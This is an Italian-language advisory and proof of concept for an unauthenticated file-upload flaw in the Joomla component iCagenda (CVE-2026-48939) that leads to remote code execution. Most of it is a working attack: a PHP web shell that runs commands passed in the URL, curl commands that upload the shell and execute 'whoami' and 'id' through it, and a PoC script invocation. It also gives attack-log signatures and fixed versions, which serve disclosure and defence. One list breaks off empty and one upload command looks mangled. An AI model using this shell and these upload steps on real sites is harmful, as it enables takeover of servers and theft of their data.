
Caricamento file non autenticato a RCE in iCagenda
| Campo | Valore |
|---|
| ID CVE | CVE-2026-48939 |
| Punteggio CVSS 4.0 | 10.0 Critico |
| Vettore CVSS | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-284: Controllo degli Accessi Improprio |
| Versioni Interessate | iCagenda 3.2.1 - 3.9.14 e 4.0.0 - 4.0.7 |
| Corretto in | iCagenda 4.0.8 e 3.9.15 |
| Pubblicato | 20 giugno 2026 |
iCagenda, un popolare componente per eventi e calendario per Joomla, contiene una vulnerabilità di upload di file non autenticato che consente a remoto aggressori di caricare ed eseguire codice PHP arbitrario sui siti Joomla 6.
La vulnerabilità esiste nella funzionalità di allegato file del modulo di invio eventi del frontend:
Controllo degli Accessi Mancante: L'endpoint di invio (index.php?option=com_icagenda&task=registration.submit) non applica l'autenticazione, bypassando l'impostazione di accesso "Solo Registrati".
Nessuna Validazione dei File: I file caricati vengono salvati con la loro estensione originale senza:
Scrittura Diretta del File: I file vengono scritti in /images/icagenda/frontend/attachments/[filename] direttamente nella root web.
Esecuzione PHP: Su Joomla 6, i file .php caricati sono eseguibili, portando a Esecuzione di Codice Remota (RCE).
# Crea il payload della shell PHP
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF
# Carica la shell
curl -k -s \
-F "title=Test Event" \
-F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
"https://poloss-jomola.ddev.site/icagenda_submit.php"
# Esegui comandi tramite la shell caricata
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"
# Vai alla directory del progetto
# Esegui lo script PoC
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site
Identificare l'endpoint vulnerabile:
https://target.com/index.php?option=com_icagenda&task=submit
Caricare una web shell PHP:
curl -X POST -F "jform[attachment][email protected]" \
"https://target.com/index.php?option=com_icagenda&task=submit"
Eseguire la shell:
curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
Basandosi sui log di sfruttamento reali, la firma dell'attacco è:
# Passo 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"
# Passo 2: Esecuzione
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0
com_icagendaQuesto PoC è solo a scopo educativo e di test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale.